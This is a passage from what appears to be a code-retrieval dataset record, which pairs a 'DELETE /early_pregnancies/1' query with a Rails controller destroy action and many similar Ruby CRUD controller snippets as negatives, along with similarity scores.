Noun.paginate(page: params[:page])\n render action: :index\n }\n # format.json { render json: @noun.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @nepal = Nepal.find(params[:id])\n\n if @nepal.update(nepal_params)\n head :no_content\n else\n render json: @nepal.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @pre_payment_req.update(pre_payment_req_params)\n format.html { redirect_to @pre_payment_req, notice: 'Pre payment req was successfully updated.' }\n format.json { render :show, status: :ok, location: @pre_payment_req }\n else\n format.html { render :edit }\n format.json { render json: @pre_payment_req.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_initiative_update\n @initiative_update = InitiativeUpdate.find(params[:id])\n end", "def update\n respond_to do |format|\n if @api_v1_initiative_update.update(api_v1_initiative_update_params)\n format.html { redirect_to @api_v1_initiative_update, notice: 'Initiative update was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_update }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_update.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_signage\n @nugget = Nugget.find(params[:id])\n @nugget.unset_editable_time\n\n respond_to do |format|\n if @nugget.update_attributes(params[:nugget])\n @nugget.signage_review!\n\n # JAH - Jan 7 2014\n # There used to be a state here to \"review\" signage that isn't\n # necessary. Ergo we're going to transition the nugget immediately\n # from signage_review to signage_approve to move it further along.\n @nugget.signage_approve!\n\n format.html { redirect_to jobboard_path, notice: 'Read Signage Job completed.' }\n format.json { head :no_content }\n else\n format.html { redirect_to jobboard_path, error: 'Something went wrong. Job not completed.' }\n format.json { render json: @nugget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @preorder = Preorder.find(params[:id])\n\n respond_to do |format|\n if @preorder.update_attributes(params[:preorder])\n format.html { redirect_to @preorder, notice: 'Preorder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @preorder.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @pronunciation = args[:pronunciation] if args.key?(:pronunciation)\n end", "def update\n course = Course.includes(:professors).find(params[:id])\n course.update!(course_params)\n \n course.professor_ids=(params[:professors])\n\n render json: course.to_json(include: :professors)\n end", "def set_pre_enrollment\n @pre_enrollment = PreEnrollment.find(params[:id])\n end", "def set_prenda\n @prenda = Prenda.find(params[:id])\n end", "def create\n @api_v1_initiative_update = Api::V1::InitiativeUpdate.new(api_v1_initiative_update_params)\n\n respond_to do |format|\n if @api_v1_initiative_update.save\n format.html { redirect_to @api_v1_initiative_update, notice: 'Initiative update was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_initiative_update }\n else\n format.html { render :new }\n format.json { render json: @api_v1_initiative_update.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n official = Official.new(official_params)\n if official.save\n render json: official, status: 201, location: [:api, official]\n else\n failed_to_create(official, \"official\")\n end\n end", "def create\n @pregnancy = Pregnancy.new(pregnancy_params)\n\n respond_to do |format|\n if @pregnancy.save\n format.html { redirect_to @pregnancy, notice: 'Pregnancy was successfully created.' }\n format.json { render action: 'show', status: :created, location: @pregnancy }\n else\n format.html { render action: 'new' }\n format.json { render json: @pregnancy.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_api_v1_initiative\n @api_v1_initiative = Api::V1::Initiative.find(params[:id])\n end", "def update\n respond_to do |format|\n if @prenda.update(prenda_params)\n format.html { redirect_to @prenda, notice: 'Prenda was successfully updated.' }\n format.json { render :show, status: :ok, location: @prenda }\n else\n format.html { render :edit }\n format.json { render json: @prenda.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @partner_person = PartnerPerson.find(params[:id])\n @title = \"association partner <--> people\"\n\n respond_to do |format|\n if @partner_person.update_attributes(params[:partner_person])\n format.html { redirect_to(@partner_person, :notice => 'PartnerPerson was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @partner_person.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update \n sneaker = find_sneaker\n # update! exceptions will be handled by the rescue_from ActiveRecord::RecordInvalid code\n sneaker.update(sneaker_params)\n render json: sneaker\n end", "def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end", "def update\n respond_to do |format|\n if @orphan_sponsorship.update(orphan_sponsorship_params)\n format.html { redirect_to @orphan_sponsorship, notice: 'Orphan sponsorship was successfully updated.' }\n format.json { render :show, status: :ok, location: @orphan_sponsorship }\n else\n format.html { render :edit }\n format.json { render json: @orphan_sponsorship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_house\n get_rep_from_api[\"results\"][0][\"members\"].each do |rep|\n Representative.create(\n pp_id: rep[\"id\"],\n first_name: rep[\"first_name\"],\n last_name: rep[\"last_name\"],\n party: rep[\"party\"],\n in_office: rep[\"in_office\"],\n state: rep[\"state\"],\n votes_with_party_pct: rep[\"votes_with_party_pct\"],\n district: rep[\"district\"]\n )\n end\nend", "def set_pre_total_party_num\n @pre_total_party_num = PreTotalPartyNum.find(params[:id])\n end", "def update\n respond_to do |format|\n if @resident.update(resident_params)\n format.html { redirect_to residents_path, notice: 'Resident was successfully updated.' }\n format.json { render :show, status: :ok, location: @resident }\n else\n format.html { render :edit }\n format.json { render json: @resident.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @official_tenure = OfficialTenure.new(params[:official_tenure])\n\n respond_to do |format|\n if @official_tenure.save\n format.html { redirect_to @official_tenure, notice: 'Official tenure was successfully created.' }\n format.json { render json: @official_tenure, status: :created, location: @official_tenure }\n else\n format.html { render action: \"new\" }\n format.json { render json: @official_tenure.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_yearly_info\n @yearly_info = YearlyInfo.find(params[:id])\n end", "def update\n @pronunciation = Pronunciation.find(params[:id])\n @pronunciation.update_attributes(params[:pronunciation])\n respond_with @definition\n end", "def update\n @undergraduate_major = UndergraduateMajor.find(params[:id])\n\n respond_to do |format|\n if @undergraduate_major.update_attributes(params[:undergraduate_major])\n format.html { redirect_to @undergraduate_major, notice: 'Undergraduate major was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @undergraduate_major.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_initiative_field.update(api_v1_initiative_field_params)\n format.html { redirect_to @api_v1_initiative_field, notice: 'Initiative field was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_field }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_field.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @api_noun = Api::Noun.find(params[:id])\n\n respond_to do |format|\n if @api_noun.update_attributes(params[:api_noun])\n format.html { redirect_to @api_noun, notice: 'Noun was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_noun.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_previous_party\n @previous_party = PreviousParty.find(params[:id])\n end", "def set_api_v1_initiative_field\n @api_v1_initiative_field = Api::V1::InitiativeField.find(params[:id])\n end", "def update!(**args)\n @enclosing_province_geotoken = args[:enclosing_province_geotoken] if args.key?(:enclosing_province_geotoken)\n @id = args[:id] if args.key?(:id)\n @navboost = args[:navboost] if args.key?(:navboost)\n end", "def update\n super town_params\n end", "def update\n respond_to do |format|\n if @english_country_residence.update(english_country_residence_params)\n format.html { redirect_to @english_country_residence, notice: 'English country residence was successfully updated.' }\n format.json { render :show, status: :ok, location: @english_country_residence }\n else\n format.html { render :edit }\n format.json { render json: @english_country_residence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prestation.update(prestation_params)\n format.html { redirect_to prestations_path, notice: 'Prestation was successfully updated.' }\n format.json { render :show, status: :ok, location: @prestation }\n else\n format.html { render :edit }\n format.json { render json: @prestation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_claim_establishment!(attrs = {})\n return unless claim_establishment\n\n claim_establishment.appeal = appeal\n claim_establishment.update!(attrs)\n end", "def update\n respond_to do |format|\n if @prioridad.update(prioridad_params)\n format.html { redirect_to @prioridad, notice: 'Se ha actualizado la Prioridad.' }\n format.json { render :show, status: :ok, location: @prioridad }\n else\n format.html { render :edit }\n format.json { render json: @prioridad.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @resident.update(resident_params)\n format.html { redirect_to @resident, notice: 'Resident (' + @resident.name + ') was successfully updated.' }\n format.json { render :show, status: :ok, location: @resident }\n else\n format.html { render :edit }\n format.json { render json: @resident.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @nail_salon = NailSalon.find(params[:id])\n\n respond_to do |format|\n if @nail_salon.update_attributes(params[:nail_salon])\n format.html { redirect_to @nail_salon, notice: 'Nail salon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @nail_salon.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @initiative = Initiative.find(params[:id])\n @initiative.phase_id=params[:phase_id]\n\n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n format.html { render :nothing => true }\n #format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @prioridade_adocao = PrioridadeAdocao.find(params[:id])\n\n respond_to do |format|\n if @prioridade_adocao.update_attributes(params[:prioridade_adocao])\n format.html { redirect_to @prioridade_adocao, notice: 'Prioridade adocao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prioridade_adocao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @invoice = Invoice.find(params[:id])\n @invoice.year = Date.today.year\n\n @invoice.client_id = params[:clients]\n @invoice.discount_id = params[:discount_id]\n @invoice.tax_id = params[:tax_id]\n\n\n respond_to do |format|\n if @invoice.update_attributes(params[:invoice])\n format.html { redirect_to @invoice, notice: 'Invoice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @missing_person = MissingPerson.find(params[:id])\n\n respond_to do |format|\n if @missing_person.update_attributes(params[:missing_person])\n format.html { redirect_to @missing_person, notice: 'Missing person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @missing_person.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_v1_initiative_update_params\n params.fetch(:api_v1_initiative_update, {})\n end", "def update\n @external_partnership = ExternalPartnership.find(params[:id])\n\n respond_to do |format|\n if @external_partnership.update_attributes(params[:external_partnership])\n format.html { redirect_to @external_partnership, notice: 'External partnership was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @external_partnership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @nineteen.update(nineteen_params)\n format.html { redirect_to @nineteen, notice: 'Nineteen was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @nineteen.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @orphan.update(orphan_params)\n format.html { redirect_to @orphan, notice: 'Orphan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @orphan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @housing_rent.update(housing_rent_params)\n format.html { redirect_to @housing_rent, notice: 'Housing rent was successfully updated.' }\n format.json { render :show, status: :ok, location: @housing_rent }\n else\n format.html { render :edit }\n format.json { render json: @housing_rent.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pain_observation.update(pain_observation_params)\n format.html { redirect_to @pain_observation, notice: 'Pain observation was successfully updated.' }\n format.json { render :show, status: :ok, location: @pain_observation }\n else\n format.html { render :edit }\n format.json { render json: @pain_observation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n electronic_prescription_params[:status] = electronic_prescription_params[:status].to_i\n\n respond_to do |format|\n if @electronic_prescription.update(electronic_prescription_params)\n format.html { redirect_to @electronic_prescription, notice: 'Electronic prescription was successfully updated.' }\n format.json { render :show, status: :ok, location: @electronic_prescription }\n else\n format.html { render :edit }\n format.json { render json: @electronic_prescription.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pupil_has_year.update(pupil_has_year_params)\n format.html { redirect_to pupil_has_years_path, notice: 'Pupil has year was successfully updated.' }\n format.json { render :show, status: :ok, location: @pupil_has_year }\n else\n format.html { render :edit }\n format.json { render json: @pupil_has_year.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n logger.info('PUT Update:')\n logger.info(request_body)\n new_pub = hashed_request\n old_pub = Publication.find_by(id: params[:id])\n if old_pub.blank?\n head :not_found\n return\n elsif old_pub.deleted?\n head :gone\n return\n end\n if old_pub.harvested_pub? # only manually entered (i.e. non-harvested) publications may be updated with this method\n render json: {\n error: \"This record SulPubID #{old_pub.id} may not be modified. If you had originally entered details for the record, \" \\\n 'it has been superceded by a central record.'\n },\n status: :forbidden, format: 'json'\n return\n elsif !validate_or_create_authors(new_pub[:authorship])\n render json: { error: 'You have not supplied a valid authorship record.' }, status: :not_acceptable,\n format: 'json'\n return\n end\n logger.info(\"Update manual publication #{old_pub.inspect} with BibJSON:\")\n logger.info(request_body)\n old_pub.update_manual_pub_from_pub_hash(new_pub, request_body)\n old_pub.save!\n old_pub.reload\n logger.debug(\"resulting pub hash: #{old_pub.pub_hash}\")\n render json: old_pub.pub_hash, status: :accepted\n end", "def update\n @pre_step = PreStep.find(params[:id])\n\n respond_to do |format|\n if @pre_step.update_attributes(params[:pre_step])\n format.html { redirect_to @pre_step, notice: 'Pre step was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pre_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @pre = Pre.find(params[:id])\n\n respond_to do |format|\n if @pre.update_attributes(params[:pre])\n format.html { redirect_to @pre, notice: 'Pre was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pre.errors, status: :unprocessable_entity }\n end\n end\n end", "def reset_tenant_scope_to_default \n put(\"/tenants.json/scope/clear\")\nend", "def create\n @renewal = Renewal.new(renewal_params)\n\n respond_to do |format|\n if @renewal.save\n format.html { redirect_to insurance_policy_path(@renewal.insurance_policy), notice: 'Renewal was successfully created.' }\n format.json { render :show, status: :created, location: @renewal }\n # for each new renewal added parent policy expiry and policy no will change to match current renewal\n @insurance_policy = @renewal.insurance_policy\n @insurance_policy.update_attributes(current_expiry: @renewal.expiry_date, policyno: @renewal.policyno)\n else\n format.html { render :new }\n format.json { render json: @renewal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @before_intership = BeforeIntership.find(params[:id])\n\n respond_to do |format|\n if @before_intership.update_attributes(params[:before_intership])\n format.html { redirect_to @before_intership, notice: 'Before intership was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @before_intership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prominent.update(prominent_params)\n format.html { redirect_to @prominent, notice: 'Prominent was successfully updated.' }\n format.json { render :show, status: :ok, location: @prominent }\n else\n format.html { render :edit }\n format.json { render json: @prominent.errors, status: :unprocessable_entity }\n end\n end\n end", "def team_president_params\n params.require(:team_president).permit(:team_id, :president_id)\n end", "def set_president\n @president = President.find(params[:id])\n end", "def create\n @previous_party = PreviousParty.new(previous_party_params)\n\n respond_to do |format|\n if @previous_party.save\n format.html { redirect_to @previous_party, notice: 'Previous party was successfully created.' }\n format.json { render :show, status: :created, location: @previous_party }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @previous_party.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @household.update(household_params)\n\n params[:household][:household_members_attributes].each do |member|\n predecessor_name = member[1][:name]\n successor_name = member[1][:name_related]\n relationship_kind = member[1][:relationship]\n\n @household.add_household_member(@household.household_members.find_by_name(predecessor_name))\n @household.add_relationship(predecessor_name, successor_name, relationship_kind)\n #byebug\n end\n format.html { redirect_to @household, notice: 'Household was successfully updated.' }\n format.json { render :show, status: :ok, location: @household }\n else\n format.html { render :edit }\n format.json { render json: @household.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @yearly_info.update(yearly_info_params)\n format.html { redirect_to @yearly_info, notice: 'Yearly info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @yearly_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n old = @hr_person\n if @hr_person.update(hr_person_params)\n if params[:change_seat]\n @hr_person.hr_person_histories.create(old.attributes.except('id', 'created_by', 'updated_by', 'created_at', 'updated_at'))\n end\n format.html { render :js => view_context.close_window_show_tips('parent.MAIN_LAYER_WINDOW', '资料创建成功!') }\n format.json { render :show, status: :ok, location: @hr_person }\n else\n format.html { render :edit }\n format.json { render json: @hr_person.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @national_rank = NationalRank.find(params[:id])\n\n respond_to do |format|\n if @national_rank.update_attributes(params[:national_rank])\n format.html { redirect_to @national_rank, notice: 'National rank was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @national_rank.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @anniversary = Anniversary.find(params[:id])\n\n respond_to do |format|\n if @anniversary.update_attributes(params[:anniversary])\n format.html { redirect_to @anniversary, notice: 'Anniversary was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @anniversary.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n relationship = Relationships.find(params[:id])\n if relationship.update(relationship_params)\n render json: relationship, status: 200\n else\n render json: { errors: relationship.errors }, status: 422\n end\n end", "def update_params\n #json_data = request.raw_post()\n #params.require(:reference_number).permit(:name, :email, :twitter)\n params.permit(:dependents)\n end", "def update\n respond_to do |format|\n if @unemployment_insurance.update(unemployment_insurance_params)\n format.html { redirect_to @unemployment_insurance, notice: 'Unemployment insurance was successfully updated.' }\n format.json { render :show, status: :ok, location: @unemployment_insurance }\n else\n format.html { render :edit }\n format.json { render json: @unemployment_insurance.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_cast_vote_rolf_second_lesser\n obs = observations(:coprinus_comatus_obs)\n nam1 = namings(:coprinus_comatus_naming)\n nam2 = namings(:coprinus_comatus_other_naming)\n\n login(\"rolf\")\n put(:update, params: { vote: { value: \"-1\" }, naming_id: nam2.id })\n assert_equal(10, rolf.reload.contribution)\n\n # Make sure observation was updated right.\n assert_equal(names(:coprinus_comatus).id, obs.reload.name_id)\n\n # Check vote.\n assert_equal(3, nam1.reload.vote_sum)\n assert_equal(2, nam2.reload.vote_sum)\n assert_equal(2, nam2.votes.length)\n end", "def update\n @residence = Residence.find(params[:id])\n\n respond_to do |format|\n if @residence.update_attributes(params[:residence])\n format.html { redirect_to @residence, notice: 'Residence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @residence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @pre_sale = PreSale.find(params[:id])\n\n respond_to do |format|\n if @pre_sale.update_attributes_with(params[:pre_sale], params[:date])\n format.html { redirect_to @pre_sale, notice: I18n.t('app.views.pre_sales.messages.update.success') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pre_sale.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @invoice = Invoice.new(params[:invoice])\n @invoice.number = (Invoice.maximum(:number) || 0) + 1\n\n respond_to do |format|\n if @invoice.save\n Repair.unassigned(@invoice.store_id, @invoice.issued).each do |repair|\n repair.invoice_id = @invoice.id\n repair.save!\n end\n @invoice.update_total_and_save!\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render json: @invoice, status: :created, location: @invoice }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prestation_info.update(prestation_info_params)\n format.html { redirect_to new_prestation_path, notice: \"Prestation info was successfully updated.\" }\n format.json { render :show, status: :ok, location: @prestation_info }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @prestation_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @api_v1_initiative_updates = Api::V1::InitiativeUpdate.all\n end", "def update\n update_resource @ride, ride_params\n end" ]
[ "0.6239597", "0.5926131", "0.5761822", "0.5761411", "0.57360405", "0.56143844", "0.555663", "0.555663", "0.55200493", "0.54148245", "0.5318787", "0.5304119", "0.51861477", "0.51332426", "0.5127757", "0.51260257", "0.5119609", "0.50711143", "0.5069658", "0.5047927", "0.50385547", "0.5016477", "0.5002975", "0.50013375", "0.4983558", "0.4971329", "0.49696824", "0.4966101", "0.49474823", "0.4930209", "0.49263847", "0.4912093", "0.48925132", "0.48921815", "0.48903674", "0.48824087", "0.48808601", "0.4880294", "0.4872081", "0.48628712", "0.48614487", "0.4860453", "0.48599616", "0.48575658", "0.48461616", "0.4841718", "0.4834692", "0.4832106", "0.48215765", "0.48144287", "0.48110834", "0.48026276", "0.48013663", "0.47984862", "0.4776509", "0.47728458", "0.47689947", "0.47665447", "0.47655895", "0.4762762", "0.47624043", "0.47597817", "0.4753857", "0.47468656", "0.47450572", "0.47280914", "0.47274855", "0.47257695", "0.47236356", "0.47203663", "0.47126347", "0.4709339", "0.47041243", "0.47026467", "0.47010064", "0.47004142", "0.4700235", "0.46991804", "0.46965066", "0.46936443", "0.4690881", "0.46891174", "0.4680848", "0.46805242", "0.46777806", "0.46777073", "0.46757808", "0.4672948", "0.4669682", "0.4669188", "0.46690363", "0.46608496", "0.4660394", "0.46579903", "0.4656365", "0.46547824", "0.46504474", "0.46488917", "0.46459007", "0.4638367" ]
0.706012
0
DELETE /early_pregnancies/1 DELETE /early_pregnancies/1.json
def destroy @early_pregnancy = EarlyPregnancy.find(params[:id]) @early_pregnancy.destroy respond_to do |format| format.html { redirect_to early_pregnancies_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @pregnancy.destroy\n respond_to do |format|\n format.html { redirect_to pregnancies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pregnancy.destroy\n respond_to do |format|\n format.html { redirect_to rabbit_pregnancies_path(@rabbit), notice: 'Gravidanza rimossa con successo' }\n format.json { head :no_content }\n end\n end", "def destroy\n @pharmacy.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @nineteen.destroy\n respond_to do |format|\n format.html { redirect_to nineteens_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_initiative.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_initiatives_url, notice: 'Initiative was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @nail_salon = NailSalon.find(params[:id])\n @nail_salon.destroy\n\n respond_to do |format|\n format.html { redirect_to nail_salons_url }\n format.json { head :no_content }\n end\n end", "def delete_from_entzumena\n headline = Headline.where({:source_item_type => params[:source_item_type], :source_item_id => params[:source_item_id]}).first\n if headline.destroy\n render :json => true, :status => 200\n else\n render :json => false, :status => :error\n end\n end", "def destroy\n official = Official.find(params[:id])\n official.destroy\n head 204\n end", "def destroy\n @english_country_residence.destroy\n respond_to do |format|\n format.html { redirect_to english_country_residences_url, notice: 'English country residence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @headline.destroy\n respond_to do |format|\n format.html { redirect_to headlines_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @headline.destroy\n respond_to do |format|\n format.html { redirect_to headlines_url }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @early_access_request.destroy\n respond_to do |format|\n format.html { redirect_to early_access_requests_url, notice: 'Anfrage wurde gelöscht.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @kota_stone.destroy\n respond_to do |format|\n format.html { redirect_to kota_stones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @manage_nourish.destroy\n respond_to do |format|\n format.html { redirect_to manage_nourishes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @taxinomy = Taxinomy.find(params[:id])\n @taxinomy.destroy\n\n respond_to do |format|\n format.html { redirect_to taxinomies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @barrels_income.destroy\n respond_to do |format|\n format.html { redirect_to barrels_incomes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @natulang = Natulang.find(params[:id])\n @natulang.destroy\n\n respond_to do |format|\n format.html { redirect_to natulangs_url }\n format.json { head :no_content }\n end\n \n end", "def destroy\n @official_tenure = OfficialTenure.find(params[:id])\n @official_tenure.destroy\n\n respond_to do |format|\n format.html { redirect_to official_tenures_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_noun = Api::Noun.find(params[:id])\n @api_noun.destroy\n\n respond_to do |format|\n format.html { redirect_to api_nouns_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @orphan.destroy\n respond_to do |format|\n format.html { redirect_to orphans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @taxon_name_relationship.destroy\n respond_to do |format|\n format.html { redirect_to taxon_name_relationships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ruby.destroy\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @preorder = Preorder.find(params[:id])\n @preorder.destroy\n\n respond_to do |format|\n format.html { redirect_to preorders_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @taxon_determination.destroy\n respond_to do |format|\n format.html { redirect_to taxon_determinations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @prenda.destroy\n respond_to do |format|\n format.html { redirect_to prendas_url, notice: 'Prenda was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @preceed = Preceed.find(params[:id])\n @preceed.destroy\n\n respond_to do |format|\n format.html { redirect_to preceeds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @residence = Residence.find(params[:id])\n @residence.destroy\n\n respond_to do |format|\n format.html { redirect_to residences_url }\n format.json { head :no_content }\n end\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def destroy\n @agency.update_attribute(:status, 'N')\n respond_to do |format|\n format.html { redirect_to agencies_url, notice: 'Agency was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Company.delete(params[\"id\"])\n end", "def destroy\n @annex = Annex.find(params[:id])\n @annex.destroy\n\n respond_to do |format|\n format.html { redirect_to annexes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_initiative_update.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_initiative_updates_url, notice: 'Initiative update was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @hood.destroy\n respond_to do |format|\n format.html { redirect_to hoods_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @taxirequest = Taxirequest.find(params[:id])\n @taxirequest.destroy\n\n respond_to do |format|\n format.html { redirect_to taxirequests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @competency.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @lineup = Lineup.find(params[:id])\n @lineup.destroy\n\n respond_to do |format|\n format.html { redirect_to lineups_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @prioridade_adocao = PrioridadeAdocao.find(params[:id])\n @prioridade_adocao.destroy\n\n respond_to do |format|\n format.html { redirect_to prioridade_adocoes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @undergraduate_major = UndergraduateMajor.find(params[:id])\n @undergraduate_major.destroy\n\n respond_to do |format|\n format.html { redirect_to undergraduate_majors_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @noun.destroy\n\n respond_to do |format|\n format.html { redirect_to nouns_url }\n # format.json { head :no_content }\n end\n end", "def destroy\n @life_insurance.destroy\n\n respond_to do |format|\n format.html { redirect_to life_insurances_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @initiative = Initiative.find(params[:id])\n @initiative.destroy\n\n respond_to do |format|\n format.html { redirect_to initiatives_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @uginuce.sheep.update status:'na farmi'\n @uginuce.destroy\n respond_to do |format|\n format.html { redirect_to uginuces_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mostsmallroad = Mostsmallroad.find(params[:id])\n @mostsmallroad.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallroads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pre_payment_req.destroy\n respond_to do |format|\n format.html { redirect_to pre_payment_reqs_url, notice: 'Pre payment req was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "def destroy\n @pre = Pre.find(params[:id])\n @pre.destroy\n\n 